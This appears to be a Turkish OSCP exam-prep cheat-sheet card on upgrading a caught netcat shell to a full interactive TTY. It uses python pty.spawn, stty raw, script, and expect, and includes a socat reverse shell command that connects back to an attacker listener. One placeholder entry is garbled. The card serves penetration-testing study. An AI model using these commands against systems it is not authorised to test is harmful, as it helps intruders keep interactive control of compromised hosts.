Exploit ✓ EXAM-SAFE kolay
Linux Shell Stabilizasyonu (TTY Upgrade)
netcat ile yakalanan kaba (dumb) shell'i tam interaktif TTY'ye yükseltme: python pty.spawn, ardından stty raw -echo + fg, script /dev/null, socat tam-TTY ve TERM/satır boyutu ayarları. Tab-completion, Ctrl-C, vi/nano ve sudo için zorunludur.
Bilgi: ÖN KOŞULLAR
- Yakalanmış bir reverse/bind shell (kaba/dumb)
- Hedefte python/python3 veya script veya socat bulunması
┌──
Komutlar
python ✓ EXAM-SAFE
python -c 'import pty; pty.spawn("/bin/bash")' Kaba shell'i PTY'ye sarmalayarak bash başlatır — ilk ve en yaygın stabilizasyon adımı. HackTricks — Full TTY (python pty.spawn)
python3 ✓ EXAM-SAFE
python3 -c 'import pty; pty.spawn("/bin/bash")' python2 yoksa python3 ile aynı PTY sarmalama. HackTricks — Full TTY (python3 pty.spawn)
stty ✓ EXAM-SAFE
stty raw -echo; fg LOKAL listener terminalinde çalıştırılır: terminali raw moda alır, echo'yu kapatır ve arka plandaki nc oturumunu öne getirir. Ctrl-Z ile shell'i arkaya aldıktan sonra yazılır. HackTricks — Full TTY (stty raw -echo)
stty ✓ EXAM-SAFE
stty -a LOKAL terminalde satır/sütun ve mevcut tty ayarlarını gösterir; rows/columns değerlerini uzak shell'e taşımak için okunur. HackTricks — Full TTY (terminal size)
stty ✓ EXAM-SAFE
stty rows {{USER}} cols {{PASS}} [UNVERIFIED placeholder kullanımı] Uzak shell'de satır/sütun ayarı: gerçek kullanımda 'stty rows <satır> cols <sütun>' yazılır (rakamlar local 'stty -a' çıktısından alınır). vi/less'in bozulmaması için. HackTricks — Full TTY (set rows/cols)
bash ✓ EXAM-SAFE
export TERM=xterm Uzak shell'de TERM değişkenini ayarlar; clear, vi, less ve renkli çıktıların düzgün render edilmesini sağlar. HackTricks — Full TTY (export TERM)
bash ✓ EXAM-SAFE
export SHELL=/bin/bash Bazı araçların (su, screen) doğru shell'i kullanması için SHELL değişkenini ayarlar. HackTricks — Full TTY (export SHELL)
script ✓ EXAM-SAFE
script -qc /bin/bash /dev/null python yoksa 'script' util-linux aracı ile PTY tahsisi; yarı-interaktif shell sağlar. HackTricks — Full TTY (script /dev/null)
script ✓ EXAM-SAFE
/usr/bin/script -qc /bin/bash /dev/null PATH bozuksa script aracının tam yolla çağrılması. HackTricks — Full TTY (script absolute path)
socat ✓ EXAM-SAFE
socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}} LOKAL: socat tam-TTY listener; karşı uçta socat reverse shell ile job control + clear sorunsuz çalışır, ayrı stabilizasyona gerek kalmaz. HackTricks — Full TTY (socat listener)
socat ✓ EXAM-SAFE
socat TCP:{{LHOST}}:{{LPORT}} EXEC:'bash -li',pty,stderr,setsid,sigint,sane HEDEF: socat ile tam-TTY reverse shell başlatır; yukarıdaki socat listener ile eşleşir. HackTricks — Full TTY (socat reverse)
python3 ✓ EXAM-SAFE
python3 -c 'import pty,os;os.environ["TERM"]="xterm";pty.spawn("/bin/bash")' PTY sarmalarken TERM'i de tek komutta ayarlayan birleşik varyant. HackTricks — Full TTY (python pty + TERM)
expect ✓ EXAM-SAFE
expect -c 'spawn /bin/bash; interact' python/script yoksa expect ile PTY tahsisi (nadiren kurulu ama alternatif). HackTricks — Full TTY (expect)
Neden Stabilizasyon Gerekir
nc/ncat ile yakalanan shell ‘dumb’ bir shell’dir: Ctrl-C tüm oturumu öldürür, tab-completion yoktur, vi/nano/less ekranı bozar, su/sudo çoğu zaman ‘must be run from a terminal’ hatası verir çünkü gerçek bir TTY tahsis edilmemiştir. Tam interaktif TTY için PTY tahsisi şarttır. Bu adımlar tamamen el ile yapıldığından OSCP’de safe.
Klasik Python Yöntemi (Adım Adım)
- Uzak shell’de PTY başlat:
python3 -c 'import pty; pty.spawn("/bin/bash")'. - Shell’i arkaya al:
Ctrl-Z. - LOKAL terminalde terminali raw’a çek ve oturumu öne getir:
stty raw -echo; fg(komutlar[]‘da verildi).fgyazdıktan sonra görünmese bile Enter’a bas. - Uzak shell’de ortamı düzelt:
export TERM=xtermve gerekirseexport SHELL=/bin/bash. - Satır/sütun hizala: LOKAL
stty -aile rows/cols değerlerini oku, uzaktastty rows <satır> cols <sütun>ile uygula. Bu olmadanless/visatır kaydırması bozulur.
Alternatif Yollar
- script: python yoksa
script -qc /bin/bash /dev/nullile PTY al; ardından aynıCtrl-Z->stty raw -echo; fgdöngüsünü uygula. - socat tam-TTY: İki uçta socat varsa en temiz çözüm — listener
socat file:\tty`,raw,echo=0 TCP-LISTEN:{{LPORT}}ve hedefsocat TCP:{{LHOST}}:{{LPORT}} EXEC:‘bash -li’,pty,…. Bu yöntemde job control vecleardoğrudan çalışır,stty` oynaması gerekmez. - expect: Son çare; nadiren kuruludur.
Gotchas
stty raw -echo; fgkomutunu mutlaka local (Kali) terminalinde çalıştır; uzak shell’de değil.- Stabilizasyon bozulursa (örn. yanlış Ctrl-C)
resetveyastty saneile local terminali kurtar. - rlwrap ile başlatılmış listener’da geçmiş/ok tuşları zaten çalışır; yine de tam TTY için stabilizasyon önerilir.
- tmux içinde çalışıyorsan rows/cols değerlerini tmux pane boyutuna göre ayarla.
┌──